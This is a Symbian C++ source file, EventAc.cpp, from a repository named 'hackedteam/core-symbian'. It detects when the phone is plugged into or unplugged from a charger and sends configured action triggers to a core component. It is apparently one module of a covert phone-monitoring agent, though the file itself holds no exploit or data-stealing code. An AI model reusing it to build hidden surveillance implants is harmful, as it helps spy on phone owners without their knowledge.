hackedteam/core-symbian

View on GitHub
Core/src/EventAc.cpp

Summary

Maintainability
Test Coverage
/*
 * EventAc.cpp
 *
 *  Created on: 26/set/2010
 *      Author: Giovanna
 */

#include "EventAc.h"

CEventAc::CEventAc(TUint32 aTriggerId) :
    CAbstractEvent(EEvent_AC, aTriggerId),iBatteryInfoPckg(iBatteryInfo)
    {
    // No implementation required
    }

CEventAc::~CEventAc()
    {
    __FLOG(_L("Destructor"));
    delete iPhone;
    __FLOG(_L("End Destructor"));
    __FLOG_CLOSE;
    } 

CEventAc* CEventAc::NewLC(const TDesC8& params, TUint32 aTriggerId)
    {
    CEventAc* self = new (ELeave) CEventAc(aTriggerId);
    CleanupStack::PushL(self);
    self->ConstructL(params);
    return self;
    }

CEventAc* CEventAc::NewL(const TDesC8& params, TUint32 aTriggerId)
    {
    CEventAc* self = CEventAc::NewLC(params, aTriggerId);
    CleanupStack::Pop(); // self;
    return self;
    }

void CEventAc::ConstructL(const TDesC8& params)
    {
    __FLOG_OPEN_ID("HT", "EventAc.txt");
    __FLOG(_L("-------------"));
    
    BaseConstructL(params);
    Mem::Copy(&iAcParams, iParams.Ptr(), sizeof(iAcParams));
        
    iPhone = CPhone::NewL();
    iPhone->SetObserver(this);
    __FLOG(_L("End ConstructL"));
    }

void CEventAc::StartEventL()
    {
    __FLOG(_L("StartEventL()"));
    
    // Initialize Properly the iWasConnectedToCharger value, 
    iWasConnectedToCharger = ConnectedToCharger();
    
    if(iWasConnectedToCharger)
        {
        __FLOG(_L("I was connected to charger"));
        SendActionTriggerToCoreL();
        }
    
    // Receives change notifications of the battery status
    iPhone->NotifyBatteryStatusChange(iBatteryInfoPckg);
    
    }

TBool CEventAc::ConnectedToCharger()
    {
    __FLOG(_L("ConnectedToCharger()"));
    
    TChargerStatus chargerStatus;
    iPhone->GetAcIndicatorSync(chargerStatus);
        
    if(chargerStatus == EChargerStatusUnknown)
        {
        // retrieve the info via battery info
        TUint chargeLevel=0;
        CTelephony::TBatteryStatus batteryStatus;
        iPhone->GetBatteryInfoSync(chargeLevel, batteryStatus);
        if((batteryStatus == CTelephony::EBatteryConnectedButExternallyPowered) || (batteryStatus == CTelephony::ENoBatteryConnected))
            return ETrue;
        else
            return EFalse;
        }
    else if(chargerStatus == EChargerStatusConnected)
        {
        return ETrue;
        }
    return EFalse;
    }


void CEventAc::HandlePhoneEventL(TPhoneFunctions event)
    {
    __FLOG(_L("HandlePhoneEventL"));
    
    if (event != ENotifyBatteryStatusChange)
        return;

    if (ConnectedToCharger())
        {
        // connected
        // Before trigger the event perform an additional check, just in case.
        if (!iWasConnectedToCharger)
            {
            // Triggers the In-Action
            iWasConnectedToCharger = ETrue;
            SendActionTriggerToCoreL();
            }
        }
    else
        {
        // not connected
        if (iWasConnectedToCharger)
            {
            // Triggers the unplug action
            iWasConnectedToCharger = EFalse;
            if (iAcParams.iExitAction != 0xFFFFFFFF)
                {
                SendActionTriggerToCoreL(iAcParams.iExitAction);
                }
            }
        }
    iPhone->NotifyBatteryStatusChange(iBatteryInfoPckg);
    }